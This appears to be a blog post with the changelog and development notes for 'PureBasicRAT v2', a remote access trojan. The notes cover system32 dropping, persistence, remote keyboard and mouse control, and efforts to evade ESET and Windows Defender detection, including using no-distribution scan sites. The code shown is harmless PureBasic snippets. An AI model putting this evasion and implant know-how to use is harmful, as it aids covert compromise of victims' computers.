Thursday, May 14, 2020

PureBasicRAT v2


  • Drop to system32 fixed
  • Indefinite HTTPRequest() wait fixed with a timeout of 10s
  • Persistence functionality offloaded to a dedicated thread
  • Delay times increased for stability
  • Added four new functions: /keypress, /lclick, /rclick, /mclick 

Development notes:
Musings During Development
Of PurebasicRAT v2
In PureBasic 5.70
--------------------------
[08:31PM|May 11, 2020]
*If you want to pass array to a thread procedure(so as to read or return into it) using CreateThread(), passing the array directly as the second parameter won't work. Enclose the array as a member of a Structure and pass the pointer to the structure to CreateThread() instead. Example:
-----------------------------------------------------------------------------
EnableExplicit

Structure threadParam
  Array somearray.i(0) 
EndStructure

Define param.threadParam
Define i.i,thread.i

Procedure ThreadProc(*param.threadParam)
    Delay(5000)
  Dim *param\somearray.i(0)
  ReDim *param\somearray(1)
  *param\somearray(0)=4
  *param\somearray(1)=231524

EndProcedure


thread=CreateThread(@ThreadProc(),@param)
WaitThread(thread,1000)
If IsThread(thread) ;thread is stuck, most likely at the HTTPRequest function
  KillThread(thread)
  Debug "Thread killed!"
EndIf

 

;ThreadProc(somearray())

For i=1 To ArraySize(param\somearray())
  Debug Str(param\somearray(i))
Next i
-------------------------------------------------------------------------
[11:44PM|May 11, 2020]
*The stub just got detected by ESET Smart Security. Win32/Agent.UFQ Trojan. Should've disabled ESET LiveGrid submission. Will try to change a couple things to throw it off. BTW, kleenscan.com is a site that offers free no-distribution AV scans. Seems to be a project by an HF member.
[12:19PM|May 12, 2020]
*MSDN gives the impression that SendInput() is in some ways "weaker" while "higher-level" than keybd_event(), which it supersedes, in that the Return Value section says that SendInput() is UIPI-aware. No such remark seems to be made for the keybd_event() function. I checked, keybd_event() is just as aware of user privilege level. No benefit in using keybd_event().
*Applications typically (not all games though) ignore the key scancode and only care about the virtua keycode, that's why most of the time, one can get away specifying only the first parameter of the keybd_event() function. ref:https://stackoverflow.com/questions/15062577/what-is-the-meaning-of-the-bscan-parameter-value-0x45-in-keybd-event
[02:55PM|May 12, 2020]
*I always make the error of forgetting to bitshift after and'ing when calculating the high-order byte(MSB) (generally of a SHORT data). Case in point, VkKeyScan()
[12:42PM|May 13, 2020]
*mouse_event() and keybd_event() are much simpler to use than SendInput(), probably the reason I don't remember ever using SendInput() before.
[03:55PM|May 13, 2020]
*CPU Usage has shot up. Probably coz I decreased the Delay() times everywhere. Increased it back a bit in the persistence routine, so it's a tad better now. But still not very good. Clearly shows on the task manager. Also, haven't managed to shake off that Win32/Agent.UFQ detection by ESET Smart Security.
[07:03PM|May 13, 2020]
*ESET Smart Security detection chain:
commandexecutor.pbi->machineinfogatherer.pbi,messagesender.pbi
Inside machineinfogatherer.pbi:
CPUName()
[09:42PM|May 13, 2020]
*Found another bug. If the drop path is selected to be %system32% and the x86 binary is used on a x64 system, the function getDropPath() in configreader.pbi outputs "C:\Windows\system32" which is wrong. Due to the "File System Redirector" (https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector) , using this path in any file operations such as CopyFile(), DeleteFile() and OpenFile() is redirected to "C:\Windows\SysWOW64" instead. As a result, the server is copied into the "C:\Windows\SysWOW64" folder and runs from there only to do a comparison with "C:\Windows\system32" thus repeatedly copying itself to the same path("C:\Windows\SysWOW64") over and over. The guilty code is the following line in getDropPath() procedure in configreader.pbi file:
----------------------------
Case "%system32%"
retval=GetEnvironmentVariable("windir")+"\system32"
----------------------------
where we're manually tacking the string "\system32" to the %windir% path. We need to do a check here. If we're a x64 executable, the code is fine. If we're a x86 executable, we need to check the OS. For that we use the IsWow64Process() function. If the OS is x64 (and process is x86), the second parameter of the function is TRUE; so the "\system32" will have to be replace with "\SysWOW64". If the OS is x86 (and process is x86), FALSE; the code is fine.

ref:
https://stackoverflow.com/questions/3094520/how-to-retrieve-correct-path-of-either-system32-or-syswow64
https://stackoverflow.com/questions/23696749/how-to-detect-on-c-is-windows-32-or-64-bit
https://www.purebasic.fr/english/viewtopic.php?f=12&t=40061
https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-getnativesysteminfo
https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info
[09:12AM|May 14, 2020]
*I did a control test of whether a timer or a sleep loop would be better for minimizing CPU usage. (ref: https://stackoverflow.com/questions/15685095/how-to-use-settimer-api ) Turns out, there's not much difference:
-----------------------------------
; 0.12% CPU usage:
Repeat
  Debug GetTickCount_()
  Delay(50)
ForEver
-----------------------------------
; 0.14% CPU usage:
Procedure timerProc(_.i,__.i,___.i,____.i)
  Debug GetTickCount_()
EndProcedure

Define msg.MSG
SetTimer_(0,0,50,@timerProc())
While GetMessage_(@msg,0,0,0)
  DispatchMessage_(@msg)
Wend
-----------------------------------
If anything, unlike what I had thought, the timer performed worse. I tried with an interval of 100ms as well. The results were similar.
Guess there's no escaping it.
[01:23PM|May 14, 2020]
*When I run the server in my VM(Win10x86,2GB RAM), Windows Defender seems to pick it up(Win32/Hupigon.CN). Don't know if it's related but the server fails to run from the right install directory. Copying to the install directory is done alright but the program doesn't run from there. It just exits. Probably because the server in the install directory loads up too quick and detects the previous instance before it has time to quit. So, gotta add a "/delay" switch to the commandline for such launches and check for it in the beginning of the program and sleep for a couple seconds before continuing. Similar thing happens when starting the persistor. In persistence.pbi, copying the persistor to temp and running it there happens fine. But as soon as another iteration of the realtime persistence loop starts, the server still doesn't detect the persistor running. Hence, this continuously spawns random persistor exes in temp and runs them but the fact that the persistor is never detected by the server implies the persistor itself isn't running. I'm guessing it's the same thing as the server's launch from right folder problem-the new instance from the install path runs too quickly and detects the old instance and quits. Gotta add the delay switch to persistor as well that. Gosh, the whole setup seems so brittle.
*TL;DR we need both the server and the persistor to pause a while IF THEY'VE BEEN LAUNCHED BY THEMSELVES so that multiple-instance-check isn't triggered which would otherwise cause the programs to just stop.
*Oddly enough, it doesn't happen outside the VM, in the real machine.
[03:15PM|May 14, 2020]
*Got duped by the ProgramParameter() PureBasic function. The parameter is optional but the parameter index is increased each time the function is called. Lost about an hour to this.
*Just discovered how glitchy ProcessExplorer can be(in a VM anyway) 

No comments:

Post a Comment